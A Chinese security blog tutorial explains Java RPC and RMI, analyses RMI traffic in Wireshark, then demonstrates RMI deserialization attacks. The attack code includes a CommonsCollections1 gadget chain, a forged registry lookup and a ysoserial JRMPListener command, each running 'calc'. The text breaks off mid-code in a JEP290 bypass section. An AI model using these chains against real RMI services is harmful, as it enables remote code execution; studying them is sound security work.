Java反序列化漏洞(一)--RMI协议原理/详解及流量分析


[TOC]

0x00 前言

RMI 在 Java 里面还是很常用的,后续 Java 安全章节也会涉及到诸多 RMI 的问题

0x01 RMI简介

1. RMI概述

  • 引自Java平台标准6

    RMI 指的是远程方法调用 (Remote Method Invocation)。它是一种机制,能够让在某个 Java 虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法。可以用此方法调用的任何对象必须实现该远程接口。调用这样一个对象时,其参数为 “marshalled” 并将其从本地虚拟机发送到远程虚拟机(该远程虚拟机的参数为 “unmarshalled”)上。该方法终止时,将编组来自远程机的结果并将结果发送到调用方的虚拟机。如果方法调用导致抛出异常,则该异常将指示给调
    用方。

  • 简单来说就是:本地调用远程机器上的方法使用RMI可以像调用本地方法一样,屏蔽了通信内容,且无需担心JVM中对象的不同(跨JVM操作)

2. RMI能帮我们做什么

  1. 跨站调用信息

    比如两个网站,A网站可以使用B网站的用户信息,给A传入id查询B网站用户信息,但是数据库又不想暴露给太多ip,这时候可以用rmi调用B网站的UserDaoImpl,将数据库的信息查出来再返回给A

  2. 避免重复造轮子

    假设服务器上有很多对象和方法,且是一系列的调用。如果想把这些都拿下来本地使用,不仅麻烦,还很不安全(服务器暴露本地文件,需要再做防护,避免被攻击,加大运行成本);这时候使用rmi,服务器只暴露需要被调用的方法等待客户端使用即可

0x02 RPC

1. 什么是RPC

  • 引自Java安全之RMI协议分析-nice_0e3

    RPC(Remote Procedure Call)—远程过程调用,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。RPC协议假定某些传输协议的存在,如TCP或UDP,为通信程序之间携带信息数据。在OSI网络通信模型中,RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。RPC采用客户机/服务器模式。请求程序就是一个客户机,而服务提供程序就是一个服务器。

  • 小结:

    归根结底还是TCP/IP实现(最最底层来说还是二进制的传输),而上述 RMI就是使用Java实现了RPC。使用了RPC/RMI后我们就不需要再去接触底层网络协议,直接使用即可。由于RPC的使用还是过于麻烦,Java RMI 便由此产生

2. RPC的演变

可以先去看看马士兵老师的视频,讲的很棒

https://www.bilibili.com/video/BV1zE41147Zq?from=search&seid=13740626242455157002

RPC的诞生还是起源于分布式的使用,最开始的系统都是在一台服务器上,这样本地调用本无问题,随着网络爆炸式的增长,单台服务器已然不满足,出现了分布式,接口和实现类分别放到了两个服务器上,怎么调用?JVM不同,内存地址不同,不可能直接访问调用。

比如在A服务器上有UserDaoImpl类,B服务器没有,但是只想调用UserDaoImpl.getUserInfo,那么可以仿造B/S架构,A暴露接口,B调用接口间接调用UserDaoImpl.getUserInfo。但是这种写法每次都要写一大串的http requests response,服务端也要写接收,过于麻烦;且改动UserDaoImpl类客户端与服务端都要修改。这就是马士兵老师讲的第一版RPC。

能不能将http request代码封装起来,屏蔽底层的网络协议,用代理生成一个对象直接进行调用,岂不美哉。

简略说说演变,不想看的请跳转至 0x03 篇章

第一版RPC

最开始的通信就是利用TCP/IP,而在Java中使用Socket编程抽象使用TCP/IP

client:

package com.yq1ng.rpc;

import com.yq1ng.common.User;

import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.net.Socket;

public class client {
    public static void main(String[] args) throws Exception {

        //  创建对象,写入需要查询的id
        Socket socket = new Socket("127.0.0.1", 8888);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        DataOutputStream dataOutputStream = new DataOutputStream(byteArrayOutputStream);
        dataOutputStream.writeInt(888);

        //  转为二进制,清除缓存(否则会下次转二进制为空)
        socket.getOutputStream().write(byteArrayOutputStream.toByteArray());
        socket.getOutputStream().flush();

        //  获取server返回值
        DataInputStream dataInputStream = new DataInputStream(socket.getInputStream());
        int id = dataInputStream.readInt();
        String name = dataInputStream.readUTF();
        User user = new User(id,name);

        System.out.println(user);

        dataOutputStream.close();
        socket.close();
    }
}

server:

package com.yq1ng.rpc;

import com.yq1ng.common.User;
import com.yq1ng.common.UserService;

import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;

public class server {
    private static boolean is_running = true;

    public static void main(String[] args) throws Exception {

        ServerSocket serverSocket = new ServerSocket(8888);

        while (is_running) {
            System.out.println("服务端已启动,正在监听 8888 端口,等待客户端连接...");
            Socket socket = serverSocket.accept();
            System.out.println("捕获到客户端请求...");
            process(socket);
            socket.close();
        }
        serverSocket.close();
    }

    private static void process(Socket socket) throws Exception {

        //  接收client请求参数
        InputStream in = socket.getInputStream();
        OutputStream out = socket.getOutputStream();
        DataInputStream dataInputStream = new DataInputStream(in);
        DataOutputStream dataOutputStream = new DataOutputStream(out);


        int id = dataInputStream.readInt();
        System.out.println("客户端请求id = " + id);
        UserService userService = new UserServiceImpl();
        //  调用函数(调用其他函数还需更改,很麻烦)
        User user = userService.findUserById(id);
        dataOutputStream.writeInt(user.getId());
        dataOutputStream.writeUTF(user.getName());
        dataOutputStream.flush();
    }
}

image-20210607220241903

如同B/S一样,服务端处理,客户端只需请求。但从代码可以看出弊端,代码量很大,且更改user后client和server都需要更改,程序员还需要掌握底层网络协议的知识。而且网络传输代码与业务代码混淆在一起很不便于维护。

第二版RPC

在写第一版的时候应该就想到了直接把网络传输部分抽出来不就与业务代码不混淆了嘛,还能重复利用。聪明,确实如此,抽出来以后的网络传输部分叫做stub(后面一直说的stub就是封装好了的一大段关于网络层的调用)。这就是第二版rpc,不写啦

但是这样还是不行鸭,只能使用findUserById,我要是用findUserByName呢,还要改。。。我想要动态代理实现所有方法!

第三版RPC

使用JDK动态代理来实现只写一个代理就可以调用所有想调用的函数,此版本改动很大

client:

package com.yq1ng.rpc;

import com.yq1ng.common.UserService;

public class client {
    public static void main(String[] args) {
        UserService service = Stub.getStub();
        System.out.println(service.findUserById(666));
        System.out.println(service.findUserByName("yq1ng"));
    }
}

Stub:

package com.yq1ng.rpc;

import com.yq1ng.common.User;
import com.yq1ng.common.UserService;

import java.io.DataInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.Socket;

public class Stub {
    public static UserService getStub() {
        InvocationHandler handler = new InvocationHandler() {

            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

                Socket socket = new Socket("127.0.0.1", 8888);

                ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());

                String methodName = method.getName();
                Class[] parameterTypes = method.getParameterTypes();
                objectOutputStream.writeUTF(methodName);
                objectOutputStream.writeObject(parameterTypes);
                objectOutputStream.writeObject(args);
                objectOutputStream.flush();

                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
                User user = (User) objectInputStream.readObject();

                objectOutputStream.close();
                socket.close();
                return user;
            }
        };
        Object object = Proxy.newProxyInstance(UserService.class.getClassLoader(),
                new Class[] {UserService.class},
                handler);
        return (UserService) object;
    }
}

server:

package com.yq1ng.rpc;

import com.yq1ng.common.User;
import com.yq1ng.common.UserService;
import com.yq1ng.common.UserServiceImpl;

import java.io.*;
import java.lang.reflect.Method;
import java.net.ServerSocket;
import java.net.Socket;

public class server {
    private static boolean is_running = true;

    public static void main(String[] args) throws Exception {

        ServerSocket serverSocket = new ServerSocket(8888);

        while (is_running) {
            System.out.println("服务端已启动,正在监听 8888 端口,等待客户端连接...");
            Socket socket = serverSocket.accept();
            System.out.println("捕获到客户端请求...");
            process(socket);
            socket.close();
        }
        serverSocket.close();
    }

    private static void process(Socket socket) throws Exception {

        //  接收client请求参数
        InputStream in = socket.getInputStream();
        OutputStream out = socket.getOutputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(in);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(out);

        String methodName = objectInputStream.readUTF();
        Class[] parameterTypes = (Class[]) objectInputStream.readObject();
        Object[] args = (Object[]) objectInputStream.readObject();

        System.out.println("客户端请求方法为:" + methodName);

        UserService userService = new UserServiceImpl();
        Method method = userService.getClass().getMethod(methodName, parameterTypes);
        User user = (User) method.invoke(userService, args);

        objectOutputStream.writeObject(user);
        objectOutputStream.flush();
    }
}

image-20210608011711141

这样写客户端方面 UserService 接口的所有方法都可以被代理,即使新增其他方法,Stub也不用修改

服务端返回的是 user 对象,即使实体类新增/删除属性也可以正常返回而不做修改

此版本可以说是飞一样的进步,但是弊端也很明显,只能代理 UserService ,如果新增接口呢?

第四版RPC

此版本已经是比较成型的 rpc 辣,不仅屏蔽了底层网络协议的代码,还支持动态代理任意服务器可被代理的方法

client:

package com.yq1ng.rpc;

import com.yq1ng.common.StudentService;
import com.yq1ng.common.UserService;

public class client {
    public static void main(String[] args) {
        StudentService studentService = (StudentService) Stub.getStub(StudentService.class);
        System.out.println(studentService.findStudentById(888));
        System.out.println(studentService.findStudentByName("yq1ng"));
        UserService userService = (UserService) Stub.getStub(UserService.class);
        System.out.println(userService.findUserById(888));
        System.out.println(userService.findUserByName("yq1ng"));
    }
}

Stub:

package com.yq1ng.rpc;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.Socket;

public class Stub {
    public static Object getStub(final Class clazz) {

        InvocationHandler handler = new InvocationHandler() {

            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

                Socket socket = new Socket("127.0.0.1", 8888);

                ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());

                String clazzName = clazz.getName();
                String methodName = method.getName();
                Class[] parameterTypes = method.getParameterTypes();

                objectOutputStream.writeUTF(clazzName);
                objectOutputStream.writeUTF(methodName);
                objectOutputStream.writeObject(parameterTypes);
                objectOutputStream.writeObject(args);
                objectOutputStream.flush();

                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
                Object response = objectInputStream.readObject();

                objectInputStream.close();
                objectOutputStream.close();
                socket.close();
                return response;
            }
        };
        Object object = Proxy.newProxyInstance(clazz.getClassLoader(),
                new Class[] {clazz},
                handler);
        return object;
    }
}

server:

package com.yq1ng.rpc;

import com.yq1ng.common.StudentServiceImpl;
import com.yq1ng.common.UserServiceImpl;

import java.io.*;
import java.lang.reflect.Method;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.HashMap;

public class server {
    private static boolean is_running = true;
    private static final HashMap<String, Object> REGISTRY_MAP = new HashMap();

    public static void main(String[] args) throws Exception {

        // 向注册中心注册服务
        REGISTRY_MAP.put("com.yq1ng.common.UserService", new UserServiceImpl());
        REGISTRY_MAP.put("com.yq1ng.common.StudentService", new StudentServiceImpl());

        ServerSocket serverSocket = new ServerSocket(8888);

        while (is_running) {
            System.out.println("服务端已启动,正在监听 8888 端口,等待客户端连接...");
            Socket socket = serverSocket.accept();
            System.out.println("捕获到客户端请求...");
            process(socket);
            socket.close();
        }
        serverSocket.close();
    }

    private static void process(Socket socket) throws Exception {

        //  接收client请求参数
        InputStream in = socket.getInputStream();
        OutputStream out = socket.getOutputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(in);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(out);

        //  获取服务名、方法名、形参类型、参数
        String serviceName  = objectInputStream.readUTF();
        String methodName = objectInputStream.readUTF();
        Class[] parameterTypes = (Class[]) objectInputStream.readObject();
        Object[] args = (Object[]) objectInputStream.readObject();

        System.out.println("代理接口为:" + serviceName);
        System.out.println("客户端请求方法为:" + methodName);

        //  从注册中心获取服务
        Object serverObject = REGISTRY_MAP.get(serviceName);

        //  通过反射调用服务方法
        Method method = serverObject.getClass().getMethod(methodName, parameterTypes);
        Object resp = method.invoke(serverObject, args);

        objectOutputStream.writeObject(resp);
        objectOutputStream.flush();
    }
}

关于server中的注册就是相当于一个字典,一个类的全限定名加上其实例地址

这就是最基础的rpc了,剩下的就是细节优化,jdk的序列化太过臃肿,需要使用其他框架代替,常用Hessian,grpc等等,不提了,有兴趣可以自己搜索看看

演变小结

image-20210608135356852

RPC通信流程

image-20210608204133043

图里面画错了一个,右面是的Server Stub(Skeleton–骨架)

Client Stub(客户端存根):存放服务器地址消息,将客户端请求参数打包为网络消息,发送给服务端

Server Stub(服务端存根):接收客户端请求消息,解包,调用本地服务,返回调用结果

可以看出来,最主要的还是网络协议,双方约定好了如何打包,如何解包,所以RPC较为开放,你可以使用TCP、UDP、HTTP甚至是自定义协议

RPC与HTTP有差吗

  • 传输协议
    • RPC:较为灵活
    • HTTP:基于TCP
  • 传输效率
    • RPC:使用二进制进行网络传输,体积更小,效率更高
    • HTTP:如果是基于HTTP1.1的协议,请求中会包含很多无用的内容,如果是基于HTTP2.0,那么简单的封装以下是可以作为一个RPC来使用的

小结

RPC需要双方使用相同协议,约定如何实现打包、解包;比如都使用Hession/dubbo等。而HTTP不用关心这些,双方只需遵循rest规范即可

RPC相对于开发而言要求较多,需要服务端提供接口代码

0x03 RMI执行流程

  1. 首先定义一个接口,既然要提供服务那么接口一定不可少的

    image-20210609203405124

    • 需要供客户端使用的接口必须继承或实现java.rmi.Remote

    • 为什么?因为远程对象可能有很多方法,但是只有被Remote标识的接口内方法才可以被远程调用。

    • 由于其本质还是网络传输,而网络传输是不安全的,异常经常会有,所以接口内的每个方法都要声明抛出java.rmi.RemoteException异常,而这个异常的父类其实是IOException

  2. 有了接口还要一个实现类

    image-20210609204551541

    • 接口实现类应直接或间接继承java.rmi.server.UnicastRemoteObject

    • java.rmi.server.UnicastRemoteObject 类 的构造函数通过JRMP导出远程对象并获取与远程对象通信的Stub(存根),Stub将在运行时使用动态代理对象生成(或者在构建时静态生成,通常使用rmic工具)

      但现在不推荐使用静态存根,该方法已被废弃(Java1.5之后)

    • serialVersionUID属性必须存在且需要和客户端一致才可进行反序列化,否则会报错。这个属性是唯一标识,在看其他框架或者jar包的时候里面的类也会有这个属性,此属性如果是默认的话是可以被计算的,所以推荐开发的时候自定义一个

  3. 万事俱备,写服务端,注册服务(从RPC第四版可以看出register相当于一个dict,用于客户端查询要调用方法的引用)

    image-20210609210623157

    • 第九行 实例化对象时会自动调用父类构造函数,返回Stub
    • 第十行 监听端口,默认为1099
    • 第十一行 将hello对象绑定至URLrmi://localhost:1099/hello,这样客户端只需访问此URL即可远程调用服务,不必知道服务端实例化的名称是什么
  4. 编写客户端

    image-20210609211043382

    客户端就比较简单,只需要通过Naming.lookup()将远程对象拿到手即可调用服务

image-20210609211247109

交互流程

图片来源:https://xz.aliyun.com/t/9053,我就不自己画了

0x04 Wireshark抓包分析

过滤器使用rmi即可过滤出rmi协议包。选择第一个,跟踪TCP流,首先就是经典的TCP三次握手

image-20210609230245672

然后是一个协议确认,文档传送门,客户端向服务器发送了StreamProtocol用于确认服务器是否支持此协议

image-20210609230831881

插一句:每一个RMI包下的TCP包都是一个数据确认包

image-20210609230928051

再往下就是服务器的确认包,还是上面那个文档,确认包包含了服务器可以看到的客户端的hostname及port

后面的包都是从宿主机与kali的通信,看起来舒服些,ip不同了

image-20210610000818813

image-20210610202534502

然后是客户端发给服务器一个ip地址

右方的是kali里面抓的包

我个人猜测是client的ip,毕竟官方文档说是服务器看见的客户端的ip,但是客户端的真实ip不一定是你(服务端)看到的

image-20210610181631314

下面这个包是客户端向服务器发送编码过的类名(晚上太晚了,流量包没存下来,又在kali上重新抓的包,看起来也更舒服,win下抓的包太多了),可以看到是序列化过的(0xACED就是反序列化的标识),可以使用SerializationDumper工具来查看内容,总的来说就是获取远程调用对象

image-20210610184445137

image-20210610184604978

image-20210610184643600

翻看文档可以知道,rmi有三个输出消息: Call Ping DgcAck

image-20210610184754510

既然客户端发送了需求类名,那么服务器也会返回一个调用信息,看JRMI,ReturnData包,这其实是一个java.lang.reflect.Proxy对象。这里应该是和注册中心交互的,你给我需求,我给你动态代理

image-20210610221954423

用工具看看包内容,在objectAnnotation中记录了RMI Server的地址与端口

image-20210610222212438

image-20210610222228926

拿到RMI Server的地址与端口后,Client就会真正调用远程方法,但此时wireshark并未识别出rmi,一个一个往下看,在21号包找到调用信息,看下面的Data字段,50正是RMI Call Data

image-20210610222452681

23号包为响应包

image-20210610223632821

下面是服务器与客户端的jrmi ping,没啥说的

image-20210610223944049

image-20210610223851937

在下面的DgcAck上面说了,是是指向服务器的分布式垃圾收集器的确认,它指示客户端已接收到服务器返回值中的远程对象

image-20210610224118068

在下面就是客户端向服务器发送参数,服务器执行后将结果返回给客户端

image-20210610224303502

image-20210610224319956

然后?然后就没然后了,RMI调用完成,TCP断开连接

0x05 关于真正的远程调用(server与client不在一台机器上)

服务端

image-20210610230325841

先看服务端ip,接着在函数最开始处加上一句话System.setProperty("java.rmi.server.hostname", "192.168.174.144"); ,必须是开始处,不然会报错,详情看官方文档,启动服务器时,也就是脚本启动时,放到函数最开始就行了

image-20210610225615139

image-20210610225405508

然后生成存根rmic rmi.server.HelloImpl ,在idea不需要这样但是命令行运行客户端需要有存根不然会not found

image-20210610230036471

然后执行javac rmi/server/*.java -classpath rmi/server/,Linux编译时需添加classpath,接着java rmi.server.HelloServer运行

image-20210610225845960

客户端

image-20210610230343532

看好服务端的包名,就是脚本最开始的package rmi.server;,客户端包名也要一样不然会报错,再创建一个和server一样的目录

将服务器生成的存根拷贝到client,编译,运行

image-20210610230539151

0x06 Attack RMI

一、按攻击方向分类

0x03 里面提到传输数据是序列化的,那么肯定有反序列化的地方(客户端、服务端、注册端)。很有趣,三者相爱相杀,每个人都可以攻击另外一个

1. 服务端攻击注册中心

问:为什么会有服务端攻击注册中心?拿了shell还需这样麻烦? 答:在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则就无法注册成功;所以在 Server 与 Registery 分离的时候可以再拿下 Registery 的机器

一句话总结:Server在bind(name,obj)或rebind(name,obj)向注册中心注册远程对象的时候obj都是以序列化的方式发送的,注册中心收到后会对其进行反序列化造成安全问题

服务端在与注册中心交互的方式有:list()bind()rebind()unbindlookup(),这几种方式在/rt.jar!/sun/rmi/registry/RegistryImpl_Skel#dispatch()中对应如下:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

搜索readObject发现在 case 0 和 case 3 的时候有反序列化的操作

image-20211107181455003

image-20211107181502371

写一个测试,偷懒没写cc链子2333

package com.yq1ng.ServerAttackRegistey;

import java.io.IOException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;

/**
 * @author ying
 * @Description
 * @create 2021-11-07 18:08
 */

public class BadServer {
    public static void main(String[] args) throws IOException, AlreadyBoundException {
        Process runtime = Runtime.getRuntime().exec("calc");
        LocateRegistry.createRegistry(1099);
        Naming.bind("rmi://localhost:1099/hello", (Remote) runtime);
        System.out.println("成功启动服务!");
    }
}

image-20211107181334631

虽然报错了但是命令还是会执行。rebind一样,不在赘述

2. 客户端攻击注册中心

注意使用低版本的Java,这里我用的是Java7u10

这里只介绍伪造请求,其余两种方式暂时不说的,有涉及其他的,篇幅太长了

一句话总结:由于Client只能传输字符串给Registry,我们就需要伪造一个lookup进行恶意“查询”造成安全问题

同样,在rt.jar!/sun/rmi/registry/RegistryImpl_Stub#list()rt.jar!/sun/rmi/registry/RegistryImpl_Stub#lookup()中发现 readObject

image-20211107185802388

image-20211107185820617

但是利用就稍稍麻烦,因为我们只能传输字符串,不像Server传入obj,所以这里就需要伪造连接请求进行利rce,所谓伪造就是模仿原来的lookup()修改代码使其可以传入obj,本次还是直接使用了Runtime.class,这样是有报错的,但是不影响,实战的话就要使用cc链或者其他的了。

package com.yq1ng.AttackRegistey;

import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;

/**
 * @author ying
 * @Description
 * @create 2021-11-07 18:17
 */

public class BadClient {
    public static void main(String[] args) throws Exception {
        //  模拟注册中心
        LocateRegistry.createRegistry(1099);
        //  偷懒的gadget
        Process runtime = Runtime.getRuntime().exec("calc");
        //  强转对象
        Remote proxyObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, (InvocationHandler) runtime));
        //  获取注册对象的引用
        Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099);
        // 获取super.ref
        Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);

        // 获取operations
        Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);

        // 跟lookup方法一样的传值过程
        RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(proxyObject);
        ref.invoke(var2);

        registry_remote.lookup("hello");
    }
}

image-20211107190654861

使用cc的话不会报错,这里只是演示,减小代码量。

3. 注册中心攻击客户端

使用ysoserial起一个注册端(java -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'),然后客户端正常访问就可以达到反打客户端

image-20211107192027108

4. 注册中心攻击服务端

同样,还是上面那条命令启动ysoserial,正常的服务端绑定也会被打

image-20211107192322166

5. 服务端攻击客户端

Java7u10(因为用的cc1,可以改个cc5就能在Java1.8运行了)

一句话总结:服务端返回恶意对象供客户端使用造成安全问题

接口

package com.yq1ng.ServerAttackClient.server;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    Object sayHello() throws RemoteException;
}

实现类,使用了cc1

package com.yq1ng.ServerAttackClient.server;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Constructor;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.*;


public class HelloImpl extends UnicastRemoteObject implements Hello {

    private static final long serialVersionUID = 1L;

    protected HelloImpl() throws RemoteException {
        super();
    }

    public Object sayHello() throws RemoteException {
        InvocationHandler handler = null;
        try {
            ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class}, new Object[]{"calc"})});
            HashMap innermap = new HashMap();
            Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
            Constructor[] constructors = clazz.getDeclaredConstructors();
            Constructor constructor = constructors[0];
            constructor.setAccessible(true);
            Map map = (Map) constructor.newInstance(innermap, chain);


            Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            handler_constructor.setAccessible(true);
            InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler

            Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象


            Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            AnnotationInvocationHandler_Constructor.setAccessible(true);
            handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);

        }catch(Exception e){
            e.printStackTrace();
        }

        return (Object)handler;
    }
}

服务端

package com.yq1ng.ServerAttackClient.server;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;

public class HelloServer {
    public static void main(String[] args) {
        try {
            Hello hello = new HelloImpl();
            //  默认监听端口就是1099
            LocateRegistry.createRegistry(1099);
            //  绑定远程对象
            Naming.bind("rmi://localhost:1099/hello", hello);
            System.out.println("Hello Server 启动成功,正在监听 1099 端口,等待客户端连接...");
            CountDownLatch latch=new CountDownLatch(1);

            latch.await();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

客户端

package com.yq1ng.ServerAttackClient.client;

import com.yq1ng.ServerAttackClient.server.Hello;

import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class HelloClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException, IllegalAccessException {
        Hello hello = (Hello) Naming.lookup("rmi://localhost:1099/hello");
        hello.sayHello();
    }
}

image-20211107221348004

6. 客户端攻击服务端

一句话总结:这个和上面切好相反了,客户端传入恶意序列化后的类服务端反序列化造成安全问题

接口

package com.yq1ng.ClientAttackServer.server;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    void sayHello(Object name) throws RemoteException;
}

实现类

package com.yq1ng.ClientAttackServer.server;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;


public class HelloImpl extends UnicastRemoteObject implements Hello {

    private static final long serialVersionUID = 1L;

    protected HelloImpl() throws RemoteException {
        super();
    }

    public void sayHello(Object name) throws RemoteException {
        System.out.println(name);
    }
}

服务端

package com.yq1ng.ClientAttackServer.server;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class HelloServer {
    public static void main(String[] args) {
        try {
            Hello hello = new HelloImpl();
            //  默认监听端口就是1099
            LocateRegistry.createRegistry(1099);
            //  绑定远程对象
            Naming.bind("rmi://localhost:1099/hello", hello);
            System.out.println("Hello Server 启动成功,正在监听 1099 端口,等待客户端连接...");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

客户端

package com.yq1ng.ClientAttackServer.client;

import com.yq1ng.ClientAttackServer.server.Hello;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;

public class HelloClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException, IllegalAccessException {
        Hello hello = (Hello) Naming.lookup("rmi://localhost:1099/hello");
        hello.sayHello(BadSer());
    }
    public static Object BadSer(){
        InvocationHandler handler = null;
        try {
            ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class}, new Object[]{"calc"})});
            HashMap innermap = new HashMap();
            Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
            Constructor[] constructors = clazz.getDeclaredConstructors();
            Constructor constructor = constructors[0];
            constructor.setAccessible(true);
            Map map = (Map) constructor.newInstance(innermap, chain);


            Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            handler_constructor.setAccessible(true);
            InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler

            Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象


            Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            AnnotationInvocationHandler_Constructor.setAccessible(true);
            handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);

        }catch(Exception e){
            e.printStackTrace();
        }

        return (Object)handler;
    }
}

image-20211107222208662

远程加载对象

条件苛刻,实战基本遇不到,不复现了

Bypass JEP290

JDK<=8u231

什么是JEP290

官方文档传送门

简单说就是Java内置filter,用来过滤传入的序列化数据,如果检查不合格就返回REJECTED

版本要求:jdk9以后及8u121, 7u131, 和 6u141

我的环境是jdk1.8.0_202,JEP290位置在rt.jar!/sun/rmi/registry/RegistryImpl#registryFilter()

private static Status registryFilter(FilterInfo var0) {
       if (registryFilter != null) {
           Status var1 = registryFilter.checkInput(var0);
           if (var1 != Status.UNDECIDED) {
               return var1;
           }
       }

       if (var0.depth() > 20L) {
           return Status.REJECTED;
       } else {
           Class var2 = var0.serialClass();
           if (var2 != null) {
               if (!var2.isArray()) {
                   return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
               } else {
                   return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
               }
           } else {
               return Status.UNDECIDED;
           }
